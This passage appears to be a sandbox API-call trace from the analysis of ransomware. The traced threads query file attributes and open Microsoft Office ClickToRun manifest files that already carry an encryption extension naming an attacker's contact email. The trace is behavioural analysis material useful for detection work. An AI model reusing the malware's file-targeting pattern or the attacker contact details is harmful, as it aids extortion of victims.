users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.765] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.765] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0174.765] RtlExitUserThread (Status=0x0) Thread: id = 2264 os_tid = 0xad0 [0174.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.767] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.767] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.767] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.767] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046758) returned 1 [0174.767] RtlExitUserThread (Status=0x0) Thread: id = 2265 os_tid = 0x6b0 [0174.768] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.768] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.768] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.769] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0db0) returned 1 [0174.769] RtlExitUserThread (Status=0x0) Thread: id = 2266 os_tid = 0x874 [0174.770] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.770] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.770] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.770] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.770] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30464e8) returned 1 [0174.770] RtlExitUserThread (Status=0x0) Thread: id = 2267 os_tid = 0x9c0 [0174.771] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.772] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.772] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.772] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.772] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d3b0) returned 1 [0174.773] RtlExitUserThread (Status=0x0) Thread: id = 2268 os_tid = 0x9d0 [0174.774] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.776] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.776] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.776] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.777] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d4f0) returned 1 [0174.777] RtlExitUserThread (Status=0x0) Thread: id = 2269 os_tid = 0x6e8 [0174.778] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.781] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.781] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.781] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.781] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046890) returned 1 [0174.782] RtlExitUserThread (Status=0x0) Thread: id = 2270 os_tid = 0x954 [0174.783] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.783] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.783] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.784] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.784] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d630) returned 1 [0174.784] RtlExitUserThread (Status=0x0) Thread: id = 2271 os_tid = 0xb04 [0174.785] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.785] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.785] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.785] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.785] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d770) returned 1 [0174.785] RtlExitUserThread (Status=0x0) Thread: id = 2272 os_tid = 0xaf8 [0174.786] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.787] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.787] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.787] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046620) returned 1 [0174.787] RtlExitUserThread (Status=0x0) Thread: id = 2273 os_tid = 0xb08 [0174.788] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.789] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.789] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92b38) returned 1 [0174.789] RtlExitUserThread (Status=0x0) Thread: id = 2274 os_tid = 0xb10 [0174.790] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.790] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.791] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046278) returned 1 [0174.791] RtlExitUserThread (Status=0x0) Thread: id = 2275 os_tid = 0x1fc [0174.792] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.792] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.792] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.792] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.792] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92c80) returned 1 [0174.792] RtlExitUserThread (Status=0x0) Thread: id = 2276 os_tid = 0x20c [0174.793] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.794] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.794] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.794] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.795] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30469c8) returned 1 [0174.795] RtlExitUserThread (Status=0x0) Thread: id = 2277 os_tid = 0x25c [0174.796] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.796] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.796] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.796] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92dd0) returned 1 [0174.796] RtlExitUserThread (Status=0x0) Thread: id = 2278 os_tid = 0x268 [0174.797] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.798] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.798] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.798] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.798] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045b28) returned 1 [0174.798] RtlExitUserThread (Status=0x0) Thread: id = 2279 os_tid = 0x2bc [0174.799] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 